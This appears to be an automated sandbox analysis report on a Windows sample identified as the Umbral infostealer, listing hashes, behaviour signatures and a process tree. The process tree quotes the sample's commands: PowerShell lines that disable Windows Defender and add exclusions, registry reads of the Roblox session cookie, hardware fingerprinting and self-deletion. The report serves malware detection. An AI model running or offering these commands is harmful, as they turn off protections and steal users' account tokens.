Analysis

  • max time kernel
    120s
  • max time network
    120s
  • platform
    windows7_x64
  • resource
    win7-20240419-en
  • resource tags

    arch:x64arch:x86image:win7-20240419-enlocale:en-usos:windows7-x64system
  • submitted
    10-05-2024 15:12

General

  • Target

    RagdollEnginess1.exe

  • Size

    231KB

  • MD5

    513fd7524bb2fbd7e8d0bbbf77e19364

  • SHA1

    64df582eeda76d3eebc44d6bae356d56bbf6207d

  • SHA256

    3d7e2a98ff098b5b4077ae120139bde751bdbdf9f1fb0adab59e76798e3b0159

  • SHA512

    c67a7552d2e50455ac81dabf91dea56a112c2fbee6968a40dd8022a454bcac874c640548aa87f6ad2e3a940f2febab822a5de61ef43bcca51e09c938d4b60d26

  • SSDEEP

    6144:xloZM+rIkd8g+EtXHkv/iD4A8G0PlO2Zuc1niinqfAtxjq8e1m3+i:DoZtL+EP8AR0PlO2Zuc1niin6QxMEz

Malware Config

Signatures

  • Detect Umbral payload 1 IoCs
  • Umbral

    Umbral stealer is an opensource moduler stealer written in C#.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Drops file in Drivers directory 1 IoCs
  • Deletes itself 1 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 39 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\RagdollEnginess1.exe
    "C:\Users\Admin\AppData\Local\Temp\RagdollEnginess1.exe"
    1⤵
    • Drops file in Drivers directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2372
    • C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" csproduct get uuid
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2344
    • C:\Windows\system32\attrib.exe
      "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\RagdollEnginess1.exe"
      2⤵
      • Views/modifies file attributes
      PID:2676
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\RagdollEnginess1.exe'
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2816
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2704
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2156
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2864
    • C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" os get Caption
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:1684
    • C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" computersystem get totalphysicalmemory
      2⤵
        PID:2580
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic.exe" csproduct get uuid
        2⤵
          PID:1836
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          PID:2696
        • C:\Windows\System32\Wbem\wmic.exe
          "wmic" path win32_VideoController get name
          2⤵
          • Detects videocard installed
          PID:2560
        • C:\Windows\system32\cmd.exe
          "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\RagdollEnginess1.exe" && pause
          2⤵
          • Deletes itself
          • Suspicious use of WriteProcessMemory
          PID:2036
          • C:\Windows\system32\PING.EXE
            ping localhost
            3⤵
            • Runs ping.exe
            PID:2848

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

        Filesize

        7KB

        MD5

        4c2b3c1989c88912465d10cafdc41af2

        SHA1

        cd5ecd4cb5b0a85bc2ad60d28de68a392e798b69

        SHA256

        c694cf5de8448924e5a40f58ff8feb0f82d758ceaf4c77f5536afdf0267a3340

        SHA512

        f2238bf4cc585ba516cb708c69f03f3d867b64c39f3be5739e282685552e3d5d6069edfe959f6d1dab985432bce80935f465c6eaef574a1184251b0b8420f837

      • memory/2372-0-0x000007FEF4CA3000-0x000007FEF4CA4000-memory.dmp

        Filesize

        4KB

      • memory/2372-1-0x00000000010F0000-0x0000000001130000-memory.dmp

        Filesize

        256KB

      • memory/2372-2-0x000007FEF4CA0000-0x000007FEF568C000-memory.dmp

        Filesize

        9.9MB

      • memory/2372-46-0x000007FEF4CA0000-0x000007FEF568C000-memory.dmp

        Filesize

        9.9MB

      • memory/2696-42-0x0000000002910000-0x0000000002918000-memory.dmp

        Filesize

        32KB

      • memory/2704-14-0x000000001B740000-0x000000001BA22000-memory.dmp

        Filesize

        2.9MB

      • memory/2704-15-0x0000000001F40000-0x0000000001F48000-memory.dmp

        Filesize

        32KB

      • memory/2816-7-0x000000001B5B0000-0x000000001B892000-memory.dmp

        Filesize

        2.9MB

      • memory/2816-8-0x0000000001F80000-0x0000000001F88000-memory.dmp

        Filesize

        32KB